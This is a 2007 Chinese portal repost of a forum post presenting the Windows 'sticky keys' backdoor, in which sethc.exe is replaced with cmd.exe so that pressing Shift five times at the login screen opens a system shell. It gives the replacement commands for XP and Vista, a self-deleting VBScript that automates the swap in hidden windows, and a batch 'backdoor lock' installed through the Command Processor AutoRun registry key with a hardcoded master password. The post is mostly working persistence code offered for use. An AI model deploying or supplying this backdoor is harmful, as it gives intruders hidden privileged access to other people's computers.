变态入侵:有史以来最酷的Windows后门

2007年12月06日14:57  来源:来自论坛

 【字号 打印 留言 论坛 网摘 手机点评 纠错
E-mail推荐:  

  后门原理:

  在Windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。

  XP:

  将安装源光盘弹出(或将硬盘上的安装目录改名)

  cd %widnir%\system32\dllcache

  ren sethc.exe *.ex~

  cd %widnir%\system32

  copy /y cmd.exe sethc.exe

  VISTA:

  takeown /f c:\windows\system32\sethc.exe

  cacls c:\windows\system32\sethc.exe /G administrator:F

  然后按XP方法替换文件

  在登录界面按5此SHIFT,出来cmd shell,然后……

  后门扩展:

  Dim obj, success

  Set obj = CreateObject("WScript.Shell")

  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)

  success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)

  success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)

  success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)

  success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)

  success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

  第二句最有意思了.自动应答....以前就遇到过类似的问题

  再更新.加个自删除,简化代码...

  On Error Resume Next

  Dim obj, success

  Set obj = CreateObject("WScript.Shell")

  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

  CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

  后门锁扩展:

  allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证

  用下面的后门锁的方法是 把代码保存为bdlock.bat

  然后修改注册表位置即可

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]

  "AutoRun"="bdlock.bat"

  @Echo Off

  title 后门登陆验证

  color a

  cls

  set temprandom=%RANDOM%

  echo 请输入验证码:%temprandom%

  set/p check=

  if "%check%"=="%temprandom%%temprandom%" goto passcheck

  if "%check%"=="%temprandom%" (

  rem 后门服务器验证

  rem 如果没有后门验证服务器请rem注释掉下一行代码

  if exist \192.168.8.8\backdoor$\pass goto passcheck

  )

  echo 验证失败

  pause

  exit

  :passcheck

  echo 验证成功

  If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx

  Set passcmdlock=http://blog.csdn.net/freexploit/

  :allyesno

  Set Errorlevel=>nul

  Echo 请输入验证密码?

  Set password=allyesno Is a pig>nul

  Set/p password=

  rem 万能密码

  if "%password%"=="allyesno is a sb" goto endx

  If %time:~1,1%==0 Set timechange=a

  If %time:~1,1%==1 Set timechange=b

  If %time:~1,1%==2 Set timechange=c

  If %time:~1,1%==3 Set timechange=d

  If %time:~1,1%==4 Set timechange=e

  If %time:~1,1%==5 Set timechange=f

  If %time:~1,1%==6 Set timechange=g

  If %time:~1,1%==7 Set timechange=h

  If %time:~1,1%==8 Set timechange=i

  If %time:~1,1%==9 Set timechange=j

  set/a sum=%time:~1,1%+%time:~1,1%

  Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul

  If "%errorlevel%"=="0" cls&Echo 口令正确&Goto End

  Echo 请联系客服咨询正确密码!&Goto allyesno

  :End

  Set password=>nul

  Set Errorlevel=>nul

  Echo

  :endx

(责编:宋阳)
新闻检索:    
   热图推荐
组图 白领最累城市排行组图 白领最累城市排行
中国40岁下商界精英榜中国40岁下商界精英榜
组图 全球举世闻名的运河组图 全球举世闻名的运河
盘点世界类生存重要河流盘点世界类生存重要河流
武钢发言人咆哮女记者武钢发言人咆哮女记者
全球十大最“性感”的建筑全球十大最“性感”的建筑
全球小而精的航空公司全球小而精的航空公司
盘点全球17个世界之最高盘点全球17个世界之最高
世界上那些叫做“中国”的地方世界上那些叫做“中国”的地方
“三亚最大贫民窟被强拆”真相“三亚最大贫民窟被强拆”真相
   精彩新闻
·上海医药港股上市前夕遭举报 A股股价下跌
·偷梁换柱隐瞒关联交易 哈尔滨誉衡药业被责令整改
·京通快速公交道24日启用 八通线压力将缓解(图)
·上网电价提价潮蔓延至华东地区 安徽将率先上调
·中投静待再注资 外储激增凸显主权财富基金必要性
·中国黄金转让富豪银矿32.52%股权 价格为581.05万
·中国中冶转让万达广场房产 转让价格面议
·联通单方拆除小灵通基站 退市补偿方案迟迟未出台
·稀土价格“朝报夕改” 下游行业或面临洗牌
·广东最低工资标准调整有望形成机制
   博客精选
·联通资费大幅下降意在强奸iPhone用户
·中国SNS社交游戏市场遭遇“恐美症”?
·积微成著,联想集团何以短期制胜?
·传统企业如何对待电子商务的风潮
·别对互联网电视发展前景过于乐观

羊年真的会惨吗?羊年真的会惨吗?
我们的福利受法律保护我们的福利受法律保护
·本本:4千元精品本本导购·本本:细数近期到货的新款本
·相机:拍美女都用啥镜头?·相机:玩转风光摄影11条法则
·液显:超值21.5吋液晶搜罗·液显:全高清大屏显示器推荐
·硬件:淘宝键鼠假货全曝光·硬件:暑期不推荐的十大硬件
当当网年底欲赴美上市当当网年底欲赴美上市
团购图实惠 下单须谨慎团购图实惠 下单须谨慎
·时尚三核靓本 东芝L600D今日热销中
·谷歌将美国内务部告上法庭 称在竞标时偏袒微软
·蒙牛称“特仑苏”域名遭恶意抢注
·时光网关张半月 员工非正面回应“涉黄”问题
·百团大战的热闹背后 团购网站“不能说的秘密”
·华硕天价索赔案:黄静状告律师泄密终审败诉
[一语惊坛]收入差距尚且"讳言",分配不公如何"开刀"?
[论坛]美派三航母迎接胡总出访?·六国要联合对抗中国?
[访谈]党国英谈农村城镇化·外交部李松谈伊朗问题
[辩论]  花千亿投资迪斯尼,值吗?·你认同买不如租吗?
[博客]温总理:见一叶而知天下 女副市长咋被骗色骗财?
[博客]毛泽东为何成中国文化符号 男人居住北京11条理由
   无线·手机媒体
“G族看两会 不是浮云”“G族看两会 不是浮云”
“手机民意直寄总理”“手机民意直寄总理”
人民网